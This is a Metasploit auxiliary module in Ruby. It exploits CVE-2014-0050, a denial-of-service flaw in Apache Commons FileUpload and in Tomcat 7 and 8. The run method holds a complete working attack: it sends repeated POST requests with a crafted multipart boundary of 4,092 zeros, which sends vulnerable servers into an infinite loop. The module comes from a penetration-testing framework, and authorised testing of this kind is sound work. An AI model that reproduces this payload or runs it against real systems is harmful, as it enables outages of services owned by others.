## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS', 'Description' => %q{ This module triggers an infinite loop in Apache Commons FileUpload 1.0 through 1.3 via a specially crafted Content-Type header. Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50 and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also uses Commons FileUpload as part of the Manager application. }, 'Author' => [ 'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public. 'ribeirux' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-0050'], ['URL', 'http://tomcat.apache.org/security-8.html'], ['URL', 'http://tomcat.apache.org/security-7.html'] ], 'DisclosureDate' => 'Feb 6 2014' )) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, "The request URI", '/']), OptInt.new('RLIMIT', [ true, "Number of requests to send",50]) ], self.class) end def run boundary = "0"*4092 opts = { 'method' => "POST", 'uri' => normalize_uri(target_uri.to_s), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => "#{boundary}00000", 'headers' => { 'Accept' => '*/*' } } # XXX: There is rarely, if ever, a need for a 'for' loop in Ruby # This should be rewritten with 1.upto() or Enumerable#each or # something for x in 1..datastore['RLIMIT'] print_status("Sending request #{x} to #{peer}") begin c = connect r = c.request_cgi(opts) c.send_request(r) # Don't wait for a response rescue ::Rex::ConnectionError => exception print_error("Unable to connect: '#{exception.message}'") return ensure disconnect(c) if c end end end end